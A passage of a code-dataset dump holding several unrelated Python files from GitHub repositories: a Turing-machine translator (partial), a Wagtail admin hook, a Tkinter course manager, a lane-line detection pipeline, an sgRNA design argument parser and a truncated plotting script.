#lista.insert(2+tam//2,'1')\n #lista.insert(3+tam//2,'0')\n \n #Recebe os indices do estado inicial que fara a leitura da primeira célula da fita\n x,i,aux = percorre()\n print(\"Accept\" if turing(x,i,aux) else \"Reject\")\n\n #A lista 'salvar' guarda as configurações que tentaram passar pelo marcador de início da fita\n #print(salvar) \n \n\n\n\n #Agora começará \"tradução\" em si\n \n \n #Insere estados de subrotinas de troca de símbolos, espaço à direita, retorno de fita \n est = ['0', '0', 'um', 'um', 'um', 'zero', 'zero', 'zero', 'volta', 'volta', 'volta','volta', 'esp', 'esp']\n lid = ['1', '0', '1','0','_','1','0','_','1','0','_','S','1','0']\n esc = ['S', 'S', '1','1','1','0','0','0','1','0','_','S','_','_']\n dir = ['r', 'r', 'r','r','l','r','r','l','l','l','r','r','r','r']\n go = ['um','zero','um','zero','volta','um','zero','volta','volta','volta','inic','esp','um','zero']\n simbolos = ['%','&','@','!','+','/']\n\n\n\n #Insere as configuraçoes salvas e subrotinas necessárias para a adaptação \n for i in range(len(salvar)):\n estados.append('volta')\n lido.append(simbolos[i])\n escrito.append(\"_\")\n direcao.append('*')\n vai.append(salvar[i][0])\n\n est.append('esp')\n lid.append(simbolos[i])\n esc.append('_')\n dir.append('r')\n go.append(simbolos[i])\n\n est.append('#')\n lid.append(simbolos[i])\n esc.append('_')\n dir.append('*')\n go.append(salvar[i][0])\n\n escrito[salvar[i][0]] = simbolos[i]\n direcao[salvar[i][0]] = '*'\n vai[salvar[i][0]] = '#'\n\n #Insere os estados criados para salvar as configurações \n configuracao_final.append(salvar[i])\n \n # Insere os novos estados na configuração anterior\n for i in range(len(est)):\n estados.append(est[i])\n lido.append(lid[i])\n escrito.append(esc[i])\n direcao.append(dir[i])\n vai.append(go[i])\n\n#Insere os estados para a MT com fita semi-infinita\nfor i in range(len(estados)):\n configuracao_final.append([estados[i], lido[i], escrito[i], direcao[i], vai[i]]) \n\n#Cria o aquivo .out\nwith open('traduzida.out', 'w') as txt:\n for item in configuracao_final:\n txt.write(\"%s %s %s %s %s \\n\" % (item[0],item[1],item[2],item[3],item[4])) \n\n","repo_name":"Lucas28209/TEC-TradutorMT","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5863,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15785839275","text":"from wagtail.contrib.modeladmin.options import (\n ModelAdmin, modeladmin_register)\nfrom django.utils.translation import ugettext as _\n\nfrom .models import DefinitionPage\n\n\nclass DefinitionPageModelAdmin(ModelAdmin):\n model = DefinitionPage\n menu_label = 'Definitions' # ditch this to use verbose_name_plural from model\n menu_icon = 'help definition' # change as required\n menu_order = 200 # will put in 3rd place (000 being 1st, 100 2nd)\n list_display = ('title', )\n list_filter = ('live', )\n search_fields = ('title',)\n\n\n# Now you just need to register your customised ModelAdmin class with Wagtail\nmodeladmin_register(DefinitionPageModelAdmin)\n","repo_name":"linksmith/unusualbusiness","sub_path":"unusualbusiness/definitions/wagtail_hooks.py","file_name":"wagtail_hooks.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"8235006646","text":"import numpy as np\nimport tkinter as tk\nimport tkinter.messagebox\nimport tkinter.ttk as ttk\nimport re as re\n\nfrom DB_con import *\nfrom PieChart import *\nfrom interact_with_excel import excel_interact\nfrom CoursesDropdown_menu import CoursesDropdown_menu\nfrom Calender import Calender\nimport pdb\n\ndef get_display_size():\n root = tk.Tk()\n root.update_idletasks()\n root.attributes('-fullscreen', True)\n root.state('iconic')\n height = root.winfo_screenheight()\n width = root.winfo_screenwidth()\n root.destroy()\n return (width, height)\n\n\ndef ManageCourses(db_connection, root):\n\n # get screen size:\n current_display_size = get_display_size()\n\n root1 = tk.Toplevel(root)\n style = ttk.Style(root1)\n style.configure(\"My.TLabel\", font=('Arial', 25))\n\n parent_frame_courseInfo_window = tk.Frame(root1)\n parent_frame_courseInfo_window.grid(column=0, row=0, padx=20, pady=20)\n\n # Initalise the Frames which split the Window\n\n # the course info frame and the grade_edit frame need to be in one row\n # so the begining of the student_edit frame is not dependend on the second column\n Frame_courseInfo_grades_edit = tk.Frame(parent_frame_courseInfo_window, width=current_display_size[0]/2-20)\n Frame_courseInfo_grades_edit.grid(column=0, row=0, sticky='n')\n\n DropdownMenuFrame = tk.Frame(Frame_courseInfo_grades_edit, borderwidth=1, bd=1, relief=tk.SUNKEN)\n DropdownMenuFrame.grid(column=0, row=0)\n\n # the calender and the pie graph get also an addiational frame in which they are packed\n calender_pie_graph_frame = tk.Frame(parent_frame_courseInfo_window, width=current_display_size[0]/2-20)\n calender_pie_graph_frame.grid(column=1, row=0)\n\n calender_frame = tk.Frame(calender_pie_graph_frame, bd=1, relief=tk.SUNKEN, width=current_display_size[0]/2-20)\n calender_frame.grid(column=0, row=0)\n\n # second_frame = tk.Frame(root1)\n # second_frame.grid(column=0, row=1)\n CourseInfoFrame = tk.Frame(Frame_courseInfo_grades_edit, width=current_display_size[0]/2-20, height=500, bd=1, relief=tk.SUNKEN)\n CourseInfoFrame.grid(column=0, row=1)\n\n PieFrame = tk.Frame(calender_pie_graph_frame, bd=1, relief=tk.SUNKEN)\n #AddParticipantFrame = tk.Frame(root1, bd=1, relief=tk.SUNKEN)\n\n # Draw the Frames:\n PieFrame.grid(column=0, row=1)\n #AddParticipantFrame.grid(column=0, row=2)\n\n # the frame objects are stored in a list and given to the other classes\n #FrameList = [DropdownMenuFrame, CourseInfoFrame, PieFrame, AddParticipantFrame]\n\n FrameList = [parent_frame_courseInfo_window, DropdownMenuFrame, CourseInfoFrame, PieFrame, calender_frame]\n\n\n DropDownMenu = CoursesDropdown_menu(db_connection, FrameList, root1, current_display_size)\n DropDownMenu.init_tk_widgets()\n Calender_obj = Calender(db_connection, calender_frame, root1)\n Calender_obj.build_grid(2021, 4)\n root1.mainloop()\n","repo_name":"AeroEngDev/TeachManger","sub_path":"src/Kursinhalt.py","file_name":"Kursinhalt.py","file_ext":"py","file_size_in_byte":2890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"13634947555","text":"import numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport math\nimport os\n\n# from line import Line\n# Import everything needed to edit/save/watch video clips\nfrom moviepy.editor import VideoFileClip\n# from IPython.display import HTML\n\n\nclass Line():\n\tdef __init__(self):\n\t\tself.imgpoints = []\n\t\tself.objpoints = []\n\t\tself.mtx = []\n\t\tself.dist = []\n\n\t\t# polynomial coefficients\n\t\tself.left_fit = []\n\t\tself.right_fit = []\n\n\t\tself.left_fit_curv = []\n\t\tself.right_fit_curv = []\n\n\t\t# list of polynomial coefficients used for averageing the path\n\t\tself.left_fit_list = []\n\t\tself.right_fit_list = []\n\n\t\t# number of frame that is needed to average through the polynomial coefficients\n\t\tself.Nframe = 20\n\n\t\t# counter for number of frame \n\t\tself.frame_num = 0\n\n\t\t# the points of input image and output image where we are finding the unwarped image using prospective transformation matrix\n\t\tself.src = []\n\t\tself.dst = []\n\n\t\t# was the line detected in the last iteration?\n\t\tself.right_detected = False\n\t\tself.left_detected = False \n\n\t\t# curvature of the lines\n\t\tself.left_curverad = 0\n\t\tself.right_curverad = 0\n\n\t\tself.type = []\n\n\n\n\tdef read_img(self,Dir):\n\n\t\t# read the image or frame here\n\t\timg = mpimg.imread(Dir)\n\n\t\tprint('The dimensions is:', img.shape)\n\n\t\treturn img\n\n\n\n\tdef grayscale(self, img):\n\t \"\"\"Applies the Grayscale transform\"\"\"\n\t return cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n\n\n\tdef camera_calib(self):\n\n\t\tDir = r'C:\\Users\\hosse\\Documents\\UDACITY\\CarND-Advanced-Lane-Lines\\camera_cal/'\n\n\t\timage_list = os.listdir(Dir)\n\n\t\t# chessboard size\n\t\tnx = 9\n\t\tny = 6\n\n\t\t# create object points (this is the points of real object which in this case is the chaseboard)\n\t\tobjp = np.zeros((nx*ny,3), np.float32)\n\t\tobjp[:,:2] = np.mgrid[0:nx,0:ny].T.reshape(-1,2)\n\n\n\t\tfor im in image_list:\n\t\t\t# im = 'calibration2.jpg'\n\t\t\timg = self.read_img(Dir + im)\n\n\t\t\tgray_scale = self.grayscale(img)\n\n\t\t\t# find all the corners in the chessboard image\n\t\t\tret, corners = cv2.findChessboardCorners(gray_scale, (nx,ny), None)\n\n\t\t\t# print (ret)\n\n\t\t\t# print (corners)\n\n\t\t\tif ret==True:\n\t\t\t\t# draw corners on the chessboard image\n\t\t\t\timg = cv2.drawChessboardCorners(img, (nx, ny), corners, ret)\n\n\t\t\t\tself.imgpoints.append(corners)\n\t\t\t\tself.objpoints.append(objp)\n\n\t\t\t\t# plt.imshow(img)\n\t\t\t\t# plt.show()\n\n\n\t\t# find the transform matirx and distortion coefficient\n\t\tret, self.mtx, self.dist, rvec, tvec = cv2.calibrateCamera(self.objpoints, self.imgpoints, gray_scale.shape[::-1], None, None)\n\n\n\tdef undistort(self, img):\n\t\t# undistort the image\n\t\tundist_img = cv2.undistort(img, self.mtx, self.dist, None, self.mtx)\n\n\t\treturn undist_img\n\n\n\n\tdef gradient_thresh(self,img,grad_dir,thresh_low,thresh_high,kernel_size):\n\n\t\t# convert to gray-scale\n\t\tgray = self.grayscale(img)\n\n\t\tsobelx = cv2.Sobel(gray, cv2.CV_64F, 1, 0, ksize=kernel_size)\n\t\tsobely = cv2.Sobel(gray, cv2.CV_64F, 0, 1, ksize=kernel_size)\n\t\tif grad_dir == 'x':\n\t\t\tsobel = sobelx\n\t\telif grad_dir == 'y':\n\t\t\tsobel = sobely\n\t\tif grad_dir == 'mag':\n\t\t\tsobel = np.sqrt(sobelx**2 + sobely**2)\n\t\tif grad_dir == 'dir':\n\t\t\tsobel = np.arctan2(np.absolute(sobely), np.absolute(sobelx))\n\n\t\tabs_sobel = np.absolute(sobel)\n\t\tif grad_dir != 'dir':\n\t\t\tscale_sobel = np.uint8(255*abs_sobel/np.max(abs_sobel))\n\t\telse:\n\t\t\tscale_sobel = abs_sobel\n\n\t\tbinary_img = np.zeros_like(gray)\n\t\tbinary_img[(scale_sobel>thresh_low) & (scale_sobelthresh_low) & (S200) & (L<255) ] = 1\n\n\n\t\t# Convert BGR to HSV\n\t\thsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n\n\t\t# define range of yellow color in HSV\n\t\tlower_yellow = np.array([20, 100, 100])\n\t\tupper_yellow = np.array([100, 255, 255])\n\n\t\t# Threshold the HSV image to get only yellow colors\n\t\tyellow_mask = cv2.inRange(hsv, lower_yellow, upper_yellow)\n\n\n\t\toutput = np.zeros_like(yellow_mask)\n\t\toutput[(yellow_mask != 0) | (binary_img == 1)] = 1\n\n\t\treturn output, S\n\n\n\tdef cobined_grad_color_thresh(self, img, grad_dir,grad_thresh_low,grad_thresh_high,kernel_size, color_thresh_low, color_thresh_high):\n\n\t\t# use gradient threshold here\n\t\tb,scale_sobel = self.gradient_thresh(img, grad_dir, grad_thresh_low, grad_thresh_high, kernel_size)\n\n\t\tb,scale_sobel_d = self.gradient_thresh(img, 'dir', np.pi/6,np.pi/3, kernel_size)\n\n\t\t\n\n\t\tb,S = self.color_thresh(img, color_thresh_low, color_thresh_high)\n\n\t\tbinary_img = np.zeros_like(S)\n\n\t\tbinary_img[((S>color_thresh_low) & (Sgrad_thresh_low) & (scale_sobel300 or len(lefty)>300):\n\t\t\tleft_fit = np.polyfit(lefty, leftx, 2)\n\t\telse:\n\t\t\tleft_fit = self.left_fit\n\t\tif (len(rightx)>300 or len(righty)>300):\n\t\t\tright_fit = np.polyfit(righty, rightx, 2)\n\t\telse:\n\t\t\tright_fit = self.right_fit\n\n\t\tleft_curverad, right_curverad, car_pos_wrt_lane = self.measure_curvature_pixels(leftx, lefty, rightx, righty, img)\n\n\t\tprint ('right_curverad=',right_curverad)\n\t\tprint ('left_curverad=',left_curverad)\n\n\t\t# update the polynomial coefficient if it is reasonable\n\t\tif ((np.abs(np.abs(left_curverad) - np.abs(self.left_curverad)) < 300) and (self.left_curverad != 0)) or (self.type=='image'):\n\t\t\tself.left_fit = left_fit\n\t\t\tself.left_curverad = left_curverad\n\t\t\tprint ('left lane is updated')\n\n\t\tif self.left_curverad == 0:\n\t\t\tself.left_fit = left_fit\n\t\t\tself.left_curverad = left_curverad\n\t\t\tprint ('left lane is updated only once')\n\n\n\t\tif ((np.abs(np.abs(right_curverad) - np.abs(self.right_curverad)) < 1000) and (self.right_curverad != 0)) or (self.type=='image'):\n\t\t\tself.right_fit = right_fit\n\t\t\tself.right_curverad = right_curverad\n\t\t\tprint ('right lane is updated')\n\n\t\tif self.right_curverad == 0:\n\t\t\tself.right_fit = right_fit\n\t\t\tself.right_curverad = right_curverad\n\n\n\t\tself.left_fit_list.append(self.left_fit)\n\t\tself.right_fit_list.append(self.right_fit)\n\n\t\t# smoothing the results\n\t\tif len(self.left_fit_list) == self.Nframe:\n\t\t\tprint ('averaging the coefficient of the polynomial ...')\n\n\t\t\tleft_fit_ave = np.sum(self.left_fit_list, axis=0)/self.Nframe\n\t\t\tright_fit_ave = np.sum(self.right_fit_list, axis=0)/self.Nframe\n\n\t\t\tprint('left_fit_ave=', left_fit_ave)\n\n\t\t\t# generate the equation\n\t\t\tleft_fitx = np.poly1d(left_fit_ave)\n\t\t\tright_fitx = np.poly1d(right_fit_ave)\n\n\t\t\t# remove the first element of the list\n\t\t\tself.left_fit_list.pop(0)\n\t\t\tself.right_fit_list.pop(0)\n\n\n\t\telse:\n\t\t\t# generate the equation\n\t\t\tleft_fitx = np.poly1d(self.left_fit)\n\t\t\tright_fitx = np.poly1d(self.right_fit)\n\n\t\t# generate the y values\n\t\tyValue = np.linspace(0, img.shape[0]-1, img.shape[0])\n\n\t\t\n\t\t# evaluate the x value\n\t\txValue_left = left_fitx(yValue)\n\t\txValue_right = right_fitx(yValue)\n\n\t\t# plt.plot(xValue_left, yValue, color ='yellow')\n\t\t# plt.plot(xValue_right, yValue, color ='yellow')\n\n\t\t# plt.show()\n\n\t\treturn xValue_left, xValue_right, yValue, left_curverad, right_curverad, car_pos_wrt_lane\n\n\n\n\tdef search_around_poly(self, img ):\n\n\t\tnonzero = img.nonzero()\n\t\tnonzerox = np.array(nonzero[1])\n\t\tnonzeroy = np.array(nonzero[0])\n\n\t\t# lane margin\n\t\tmargin = 100\n\n\t\tleft_fitx = self.left_fit[0]*nonzeroy**2 + self.left_fit[1]*nonzeroy + self.left_fit[2]\n\t\tright_fitx = self.right_fit[0]*nonzeroy**2 + self.right_fit[1]*nonzeroy + self.right_fit[2]\n\n\t\t# find the lane index between the boundry\n\t\tleft_lane_idx = ((nonzerox >= left_fitx-margin) & (nonzerox <= left_fitx+margin)).nonzero()[0]\n\t\tright_lane_idx = ((nonzerox >= right_fitx-margin) & (nonzerox <= right_fitx+margin)).nonzero()[0]\n\n\n\t\tleftx = nonzerox[left_lane_idx]\n\t\tlefty = nonzeroy[left_lane_idx]\n\n\t\trightx = nonzerox[right_lane_idx]\n\t\trighty = nonzeroy[right_lane_idx]\n\n\t\txValue_left, xValue_right, yValue, left_curverad, right_curverad, car_pos_wrt_lane = self.fit_ploy(img, leftx, lefty, rightx, righty)\n\n\n\t\t# visualization\n\t\tout_img = np.dstack((img, img, img))*255\n\n\t\tout_img[lefty, leftx] = [255,0,0]\n\t\tout_img[righty, rightx] = [0,0,255]\n\n\t\tleft_line_window1 = np.array([np.transpose([xValue_left-margin, yValue])])\n\t\tleft_line_window2 = np.array([np.flipud(np.transpose([xValue_left+margin, \n yValue]))])\n\n\t\tleft_line_pts = np.hstack((left_line_window1, left_line_window2))\n\n\n\t\tright_line_window1 = np.array([np.transpose([xValue_right-margin, yValue])])\n\t\tright_line_window2 = np.array([np.flipud(np.transpose([xValue_right+margin, \n yValue]))])\n\n\t\tright_line_pts = np.hstack((right_line_window1, right_line_window2))\n\n\t\t# draw the polygon to identify the area where the line could be\n\t\twindow_img = np.zeros_like(out_img)\n\t\tcv2.fillPoly(window_img, np.int_(left_line_pts), [0,255,0])\n\t\tcv2.fillPoly(window_img, np.int_(right_line_pts), [0,255,0])\n\n\t\tfinal_img = cv2.addWeighted(out_img, 1, window_img, 0.3, 0)\n\n\n\n\t\t# plt.imshow(final_img, cmap='gray')\n\t\t# plt.show()\n\n\n\t\tif (len(leftx)>2500 and len(lefty)>2500):\n\t\t\tself.left_detected = True\n\t\t\t# self.left_fit_list.append(self.left_fit)\n\t\telse:\n\t\t\tself.left_detected = False\n\n\t\tif (len(rightx)>2500 and len(righty)>2500):\n\t\t\tself.right_detected = True\n\t\t\t# self.right_fit_list.append(self.right_fit)\n\t\telse:\n\t\t\tself.right_detected = False\n\n\t\t# print (self.left_fit_list)\n\n\t\treturn final_img, xValue_left, xValue_right, yValue, left_curverad, right_curverad, car_pos_wrt_lane\n\n\n\tdef measure_curvature_pixels(self, leftx, lefty, rightx, righty, img):\n\n\t\timg_size = img.shape\n\n\t\t# calculate the histogram\n\t\tleft_ind, right_ind = self.hist(img)\n\t\tdiff_pixel = right_ind - left_ind\n\t\t# print('diff_pixel=',diff_pixel)\n\n\t\tym_per_pix = 30/img_size[0] # meters per pixel in y dimension\n\t\txm_per_pix = 3.7/diff_pixel # meters per pixel in x dimension\n\n\t\t# calculate the polynomial based on the meter values\n\t\t# generate the polynomial coefficient\n\t\tif (len(leftx)>5 or len(lefty)>5):\n\t\t\tleft_fit = np.polyfit(lefty*ym_per_pix, leftx*xm_per_pix, 2)\n\t\telse:\n\t\t\tleft_fit = self.left_fit_curv\n\t\tif (len(rightx)>5 or len(righty)>5):\n\t\t\tright_fit = np.polyfit(righty*ym_per_pix, rightx*xm_per_pix, 2)\n\t\telse:\n\t\t\tright_fit = self.right_fit_curv\n\n\n\t\t# generate the equation\n\t\t# left_fitx = np.poly1d(left_fit)\n\t\t# right_fitx = np.poly1d(right_fit)\n\n\t\t# generate the y values\n\t\tyValue = np.linspace(0, img.shape[0]-1, img.shape[0])\n\n\t\t# find the maximum y point\n\t\tyMax = np.max(yValue*ym_per_pix)\n\n\t\t# calculate the curvature for each side\n\t\tleft_curverad = ((1 + (2*yMax*left_fit[0] + left_fit[1])**2)**(3/2)) / (2*left_fit[0])\n\t\tright_curverad = ((1 + (2*yMax*right_fit[0] + right_fit[1])**2)**(3/2)) / (2*right_fit[0])\n\n\t\t# update the global variables\n\t\tself.left_fit_curv = left_fit\n\t\tself.right_fit_curv = right_fit\n\n\n\t\t# calculate the position of the vehicle with respect to center\n\t\tleft_fit_poly = left_fit[0]*yMax**2 + left_fit[1]*yMax + left_fit[2]\n\t\tright_fit_poly = right_fit[0]*yMax**2 + right_fit[1]*yMax + right_fit[2]\n\t\tmid_fit_poly = (left_fit_poly+right_fit_poly)/2\n\n\t\tcar_center = (img_size[1]/2)*xm_per_pix\n\n\t\tcar_pos_wrt_lane = car_center - mid_fit_poly\n\n\n\t\treturn left_curverad, right_curverad, car_pos_wrt_lane\n\n\n\n\tdef project_lane_line(self, img, original, xValue_left, xValue_right, yValue):\n\n\n\t\t# Create an image to draw the lines on\n\t\twarp_zero = np.zeros_like(img[:,:,0]).astype(np.uint8)\n\t\tcolor_warp = np.dstack((warp_zero, warp_zero, warp_zero))\n\n\t\t# Recast the x and y points into usable format for cv2.fillPoly()\n\t\tpts_left = np.array([np.transpose(np.vstack([xValue_left, yValue]))])\n\t\tpts_right = np.array([np.flipud(np.transpose(np.vstack([xValue_right, yValue])))])\n\t\tpts = np.hstack((pts_left, pts_right))\n\n\t\t# Draw the lane onto the warped blank image\n\t\tcv2.fillPoly(color_warp, np.int_(pts), (0,255, 0))\n\n\t\t# find the perspective transform matrix\n\t\tMinv = cv2.getPerspectiveTransform(self.dst, self.src)\n\n\t\tnewwarp = cv2.warpPerspective(color_warp, Minv, (img.shape[1], img.shape[0]), flags=cv2.INTER_LINEAR)\n\n\n\t\tresult = cv2.addWeighted(original, 1, newwarp, 0.3, 0)\n\n\t\treturn result\n\n\n\tdef draw_data(self, img, left_curverad, right_curverad, car_pos_wrt_lane):\n\n\n\t\tfont = cv2.FONT_HERSHEY_SIMPLEX \n\n\t\tlane_radious = (left_curverad+right_curverad)/2\n\n\t\t# Use putText() method for \n\t\t# inserting text on video \n\t\tif car_pos_wrt_lane > 0:\n\t\t\tdir = ' right '\n\t\telse:\n\t\t\tdir = ' left '\n\t\ttext1 = 'radius of the curve: ' + str(format(np.absolute(lane_radious), '.2f')) + '(m)'\n\t\ttext2 = str(format(np.absolute(car_pos_wrt_lane), '.2f')) +'(m)'+ dir + 'of center'\n\t\tcv2.putText(img, \n\t\t text1, \n\t\t (40,70), \n\t\t font, 1, \n\t\t (0, 255, 255), \n\t\t 2, \n\t\t cv2.LINE_4) \n\n\t\tcv2.putText(img, \n\t\t\t text2, \n\t\t\t (40,120), \n\t\t\t font, 1, \n\t\t\t (0, 255, 255), \n\t\t\t 2, \n\t\t\t cv2.LINE_4) \n\n\t\treturn img\n\n\n\n\tdef line_drawer(self, img):\n\n\t\toriginal = np.copy(img)\n\n\t\tself.frame_num += 1\n\n\n\t\toffsetx = 300\n\t\toffsety = 20\n\t\th,w,c = img.shape\n\t\t# self.src = np.float32([[img.shape[1]/2.11, img.shape[0]/1.64], [img.shape[1]/4.98, img.shape[0]/1.07], [img.shape[1]/1.21, img.shape[0]/1.07], [img.shape[1]/1.899, img.shape[0]/1.64]])\n\t\t# # self.src = np.float32([[img.shape[1]/1.97, img.shape[0]/1.55], [img.shape[1]/4.29, img.shape[0]/1.05], [img.shape[1]/1.18, img.shape[0]/1.05], [img.shape[1]/1.787, img.shape[0]/1.55]])\n\t\tself.dst = np.float32([[offsetx,offsety],\n\t\t\t\t\t\t\t [offsetx, img.shape[0]-offsety], \n\t\t\t\t\t\t\t [img.shape[1]-offsetx, img.shape[0]-offsety], \n\t\t\t\t\t\t\t [img.shape[1]-offsetx, offsety]])\n\t\tself.src = np.float32([[img.shape[1]/2.22, img.shape[0]/1.55],\n\t\t\t\t\t\t\t [img.shape[1]/4.96, img.shape[0]/1.055],\n\t\t\t\t\t\t\t [img.shape[1]/1.22, img.shape[0]/1.055], \n\t\t\t\t\t\t\t [img.shape[1]/1.81, img.shape[0]/1.55]])\n\n\n\n\t\t# undistort the image\n\t\timg = self.undistort(img)\n\n\t\t# plt.imshow(img, cmap='gray')\n\t\t# plt.show()\n\n\n\t\t# apply gradient threshold to the image\n\t\t# img,b = self.gradient_thresh(img,'x',50,200, 9)\n\n\n\t\t# apply the color threshold to the image\n\t\timg, s = self.color_thresh(img,100,255)\n\n\t\t# apply the prespective to the image\n\t\timg = self.perspective(img)\n\n\n\t\t# apply the cobined threshold for color and grad\n\t\t# img = self.cobined_grad_color_thresh(img, 'x',50,200, 9, 100,255)\n\n\t\t# img,b = self.gradient_thresh(img,'dir',np.pi/6,np.pi/3, 9)\n\t\t# img,b = self.gradient_thresh(img,'x',50,200, 9)\n\n\n\t\tif (self.type == 'image'):\n\t\t\t# find the approximate position of the lane lines\n\t\t\tleft_max_ind, right_max_ind = self.hist(img)\n\t\t\t# find the left and right lane's points\n\t\t\tleftx, lefty, rightx, righty, img3 = self.line_detection(img, left_max_ind, right_max_ind)\n\t\t\t# fit a polynomial on the detected points\n\t\t\txValue_left, xValue_right, yValue, left_curverad, right_curverad, car_pos_wrt_lane = self.fit_ploy(img, leftx, lefty, rightx, righty)\n\n\t\telse:\n\n\t\t\tif (self.right_detected == False) or (self.left_detected == False):\n\t\t\t\t# find the approximate position of the lane lines\n\t\t\t\tleft_max_ind, right_max_ind = self.hist(img)\n\t\t\t\t# find the left and right lane's points\n\t\t\t\tleftx, lefty, rightx, righty, img3 = self.line_detection(img, left_max_ind, right_max_ind)\n\t\t\t\t# fit a polynomial on the detected points\n\t\t\t\txValue_left, xValue_right, yValue, left_curverad, right_curverad, car_pos_wrt_lane = self.fit_ploy(img, leftx, lefty, rightx, righty)\n\n\t\t\telse:\n\n\t\t\t\tprint('****************************************************************')\n\t\t\t\timg3, xValue_left, xValue_right, yValue, left_curverad, right_curverad, car_pos_wrt_lane = self.search_around_poly(img)\n\n\n\n\t\timg3 = self.project_lane_line(img3, original, xValue_left, xValue_right, yValue)\n\n\n\t\timg3 = self.draw_data(img3, left_curverad, right_curverad, car_pos_wrt_lane)\n\n\n\t\treturn img3\n\n\n\n# initialize the code here\nline = Line()\n\nDir = r'C:\\Users\\hosse\\Documents\\UDACITY\\CarND-Advanced-Lane-Lines\\test_images/'\n\nsave_Dir = r'C:\\Users\\hosse\\Documents\\UDACITY\\CarND-Advanced-Lane-Lines\\output_images/'\n\nimage_list = os.listdir(Dir)\n\n# calibrate the camera\nline.camera_calib()\n\n# select type of media you are testing 'image' or 'video'\ntype = 'video'\n\nif type == 'image':\n\n\tline.type = 'image'\n\n\tfor im in image_list:\n\t\timg = line.read_img(Dir + im)\n\n\t\timg = line.line_drawer(img)\n\n\t\tplt.imshow(img, cmap='gray')\n\t\tplt.show()\n\n\t\timage_name = save_Dir+im+'.jpg'\n\t\tcv2.imwrite(image_name, cv2.cvtColor(img, cv2.COLOR_RGB2BGR))\n\nelse:\n\n\t# run the video frame\n\tvideo_Dir = r'C:\\Users\\hosse\\Documents\\UDACITY\\CarND-Advanced-Lane-Lines/'\n\n\t# capture the video\n\tcap = cv2.VideoCapture(video_Dir+'test_videos\\challenge_video.mp4')\n\n\t## create an object to generate a video from the frame\n\tfourcc = cv2.VideoWriter_fourcc(*'XVID')\n\t# output video path\n\tVideoOut = video_Dir + 'test_video_output/videos/challenge_video.avi'\n\t# frame rate\n\tfps = 20\n\t# find the frame size\n\tret, frame = cap.read()\n\theight, width, layers = frame.shape\n\tsize = (width,height)\n\tout = cv2.VideoWriter(VideoOut,fourcc, fps, size)\n\n\tline.type = 'video'\n\ti=0\n\twhile(cap.isOpened()):\n\t ret, frame = cap.read()\n\n\t # plt.imshow(frame, cmap='gray')\n\t # plt.show()\n\t if ret == False:\n\t break\n\t print ('frame size = ', frame.shape)\n\t if i % 1 == 0:\n\n\t \tframe = line.line_drawer(frame)\n\n\t \t# save each frame of the video\n\t \t# save_dist = video_Dir + 'test_video_output/'+'frame'+str(i)+'.png'\n\t \t# cv2.imwrite(save_dist,frame)\n\n\t \t# add all the frame to the list for creating a video\n\t \tout.write(frame)\n\n\t i+=1\n\n\n\n\tout.release()\n\tcap.release()\n\tcv2.destroyAllWindows()\n\n\n","repo_name":"Hosseinf/CarND-Advanced-Lane-Lines","sub_path":"mainP2.py","file_name":"mainP2.py","file_ext":"py","file_size_in_byte":21241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24301771401","text":"import argparse\nparser = argparse.ArgumentParser()\nparser.add_argument('k',type=int,help='the length of sgRNA')\nparser.add_argument('--gap',type=int,default=3,\n help='the distance between the cleavage position and the start of PAM')\nparser.add_argument('--compensation',type=int,default=1,\n help='compensate the N in NGG(for more details please read the introduction)')\nparser.add_argument('gtf_path',type=str,help='the path of reference annotations')\nparser.add_argument('fasta_path',type=str,help='the path of reference gene file in fasta')\nparser.add_argument('-cds','--cdf_scoring_file',type=str,default=r'..\\res\\STable 19 FractionActive_dlfc_lookup(1)(1).xlsx',\n help='the path of cds scoring criteria sotred in .xlsx')\nparser.add_argument('-f','--filter_threshold',type=int,default=4,\n help='the threshold to filter these sequences share the threshold length bases ahead to increase alignment')\nparser.add_argument('-ali_dict','--alignment_scoring_dictionary',type=dict,\n default={\"match\": 3, \"mismatch\": -2, 'gap_opening': -10,'gap_extension': -1},\n help='the scoring criteria used in the local alignment scoring matrix')\n","repo_name":"wzj9050/gama_code2","sub_path":"mm10_sgRNA_design.py","file_name":"mm10_sgRNA_design.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37728831142","text":"import scipy.stats as stats\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nimport numpy as np\nimport random as rnd\nimport utilities\n\nif __name__ == '__main__':\n \n params = {'backend': 'ps', \n 'axes.labelsize': 20,\n 'text.fontsize': 20, \n 'legend.fontsize': 14,\n 'xtick.labelsize': 20,\n 'ytick.labelsize': 20,\n 'text.usetex': True, \n 'xtick.major.size': 10,\n 'ytick.major.size': 10,\n 'xtick.minor.size': 8, \n 'ytick.minor.size': 8, \n 'xtick.major.width': 1.0,\n 'ytick.major.width': 1.0,\n 'xtick.minor.width': 1.0, \n 'ytick.minor.width': 1.0,\n 'pdf.fonttype' : 42,\n 'ps.fonttype' : 42\n }\n plt.rcParams.update(params)\n\n f, ax = plt.subplots(2, 2, figsize=(12,10))\n ratio_index = 7\n list_mus, list_signal_ratio, listRatios_listMus_listMeanResults, \\\n listRatios_listMus_listTrials_listResults = utilities.load_object(\"paper_version_rw0.4_iw3_is0.5_k6_simresults_vs_mu_vs_signal.pyobj\")\n\n # Uses net FP index=12\n X, Y = np.meshgrid(list_mus, list_signal_ratio)\n Z = np.zeros(shape=(len(list_signal_ratio), len(list_mus)))\n for i, listMus_listMeanResults in enumerate(listRatios_listMus_listMeanResults):\n for j, listMeanResults in enumerate(listMus_listMeanResults):\n Z[i,j] = listMeanResults[12] /500.# divide by cirtuit size\n\n # [0,1]\n levels = np.linspace(0,1,11)\n if levels==None:\n cont=ax[0,1].contourf(X, Y, Z, cmap=cm.magma)\n else:\n cont=ax[0,1].contourf(X, Y, Z, cmap=cm.magma, levels=levels)\n # cbar = f.colorbar(cont,ax=ax[0,1])\n # 